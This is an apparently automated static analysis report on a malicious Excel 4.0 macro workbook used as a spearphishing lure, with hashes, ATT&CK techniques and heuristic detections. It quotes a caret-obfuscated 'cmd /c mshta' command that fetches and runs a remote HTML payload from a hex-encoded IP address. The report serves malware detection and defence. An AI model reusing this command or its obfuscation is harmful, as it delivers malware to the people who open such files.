Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 709a21603d64c05e…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: a033d397cef9865a5fe0287fa3449b6e SHA-1: 6c57322eb919eb4ff52f19c7923d6b749d9c63cf SHA-256: 709a21603d64c05ef009bd6f5c5275ec8b35b5191ef72a555f7108f307ed101b
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 4.0 macro-enabled workbook that uses a lure to prompt the user to enable content. Upon enabling, it executes an Excel 4.0 macro that attempts to run a command to download a payload from the URL http://0xc12a24f5/c.html. The macro also defines a name 'lll' with the value "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html", which likely serves a similar purpose.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes